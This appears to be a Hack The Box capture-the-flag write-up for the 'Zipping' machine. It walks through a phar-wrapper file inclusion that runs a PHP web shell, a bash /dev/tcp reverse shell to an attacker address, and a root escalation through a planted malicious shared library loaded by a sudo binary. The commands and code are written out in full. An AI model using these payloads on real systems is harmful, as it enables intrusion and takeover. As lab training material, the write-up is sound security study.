Zipping Writeup
13 January 2024 #CTF #HTB #box #medium #linuxEnumeration
nmap
$ sudo nmap -sC -sV 10.10.11.229
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
There are 2 interesting pages on the website. The first one is an upload form:
It says that it only accepts zip files, with a pdf inside. We'll come back to it later.
The second page is the shop which has several items. When clicking on an item, we load a new page with a page
and id
parameters:
File Upload
Let's play a bit with the file upload to get an idea of what is possible:
$ echo 'test 123' > test.pdf
$ zip test.zip test.pdf
After uploading this test.zip
, we get a success message, with the path where the uploaded file is stored:
The file is there:
$ curl http://10.10.11.229/uploads/55c26e460be6e1f0c9dc4ab41c959e01/test.pdf
test 123
This tells us that the only check for the pdf is the file extension.
File Inclusion
The page
parameter in the /shop/index.php
endpoint looks like a juicy target for a file inclusion vulnerability. We can test if we can include other files by passing ../upload
in the page
parameter:
It kinda works and now we know that .php
is appended after the page
param. It is also safe to assume that it is using require
or include
since it only wants php files.
Foothold
Piecing together all info we gathered, we can try a cool attack involving a .phar
file (PHP archive).
Let's create a file genphar.php
:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php system($_REQUEST["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
Executing this file with php
will create an archive called shell.phar
which contains a file shell.php
with the payload above. Then we have to rename shell.phar
to have a .pdf
extension (remember that /upload.php
only checks the extension inside the zip) and, finally, zip the rogue pdf into a legit zip archive:
$ php --define phar.readonly=0 genphar.php
$ mv shell.phar hehe.pdf
$ zip legit.zip hehe.pdf
Upload this legit.zip
and take note of the path.
Now we should be able to use the phar://
PHP wrapper to access files inside the shell.pdf
archive, and include shell.php
:
$ curl '10.10.11.229/shop/index.php?page=phar://../uploads/<dir>/shell.pdf%2fshell&cmd=id'
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
Perfect, it worked. Let's get a reverse shell:
curl '10.10.11.229/shop/index.php?page=phar://../uploads/<dir>/shell.pdf%2fshell' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14/3/443 0>&1"'
Privesc
Our user can run a command as root without the password:
rektsu@zipping:/home/rektsu$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock
It's a binary:
rektsu@zipping:/var/www/html/shop$ file /usr/bin/stock
/usr/bin/stock: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa34d8030176fe286f8011c9d4470714d188ab42, for GNU/Linux 3.2.0, not stripped
We'll copy this executable to our VM to analyze it with Ghidra.
Reverse Engineering
The main()
function starts by asking the user a password:
char user_input[44];
printf("Enter the password: ");
fgets(user_input, 30, stdin);
char *newline_ptr = strchr(user_input, '\n');
if (newline_ptr != NULL) {
*newline_ptr = '\0';
}
if (!checkAuth(user_input)) {
puts("Invalid password, please try again.");
return 1;
}
The checkAuth()
function is just a simple strcmp()
with a hardcoded password:
int checkAuth(char *str) {
int res = strcmp(str, "St0ckM4nager");
return res == 0;
}
The interesting stuff is just after the password check:
local_e8 = 0x2d17550c0c040967;
local_e0 = 0xe2b4b551c121f0a;
local_d8 = 0x908244a1d000705;
local_d0 = 0x4f19043c0b0f0602;
local_c8 = 0x151a;
local_f0 = 0x657a69616b6148;
XOR((long)&local_e8, 0x22, (long)&local_f0, 8);
local_28 = dlopen(&local_e8, 1);
dlopen()
is a function used to load a shared library at runtime. The path to the library is "decrypted" with the XOR()
function right before being passed to dlopen()
.
We could reverse the XOR()
function to get the original path, but we'll take the lazy approach and set a breakpoint on the dlopen()
call to inspect the first parameter.
First, take note of the address of where dlopen()
is called:
This binary is position independent (PIE) so we get an offset instead of the absolute address of the instruction.
$ gdb ./stock
[...]
gef➤ b *main+0x124
Breakpoint 1 at 0x13de
gef➤ r
Starting program: /home/yep/CTF/HTB/machines/zipping/stock
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the password: St0ckM4nager
[...]
gef➤ x/s $rdi
0x7fffffffdd20: "/home/rektsu/.config/libcounter.so"
When hitting the breakpoint, we want to examine the rdi
register (x86 64-bit calling convention) which holds the first argument of the dlopen()
function.
Exploitation
As we can see, it is loading /home/rektsu/.config/libcounter.so
, but it doesn't exist:
rektsu@zipping:/home/rektsu$ ls -Alh /home/rektsu/.config
total 0
We can just create the shared library and use __attribute__((constructor))
to execute a function when the library gets loaded by dlopen()
:
#include <stdlib.h>
__attribute__((constructor))
void init() {
system("bash");
}
Compile the lib (use -shared
to make it a shared library):
rektsu@zipping:/home/rektsu/.config$ gcc -shared libcounter.c -o libcounter.so
Now, after entering the password, we should get a root shell when dlopen()
is called:
rektsu@zipping:/home/rektsu/.config$ sudo stock
Enter the password: St0ckM4nager
root@zipping:/home/rektsu/.config# id
uid=0(root) gid=0(root) groups=0(root)
Key Takeaways
- File include + zip file upload -> can lead to RCE (use
phar://
wrapper) - Use
__attribute__((constructor))
(gcc only) to execute function when library is loaded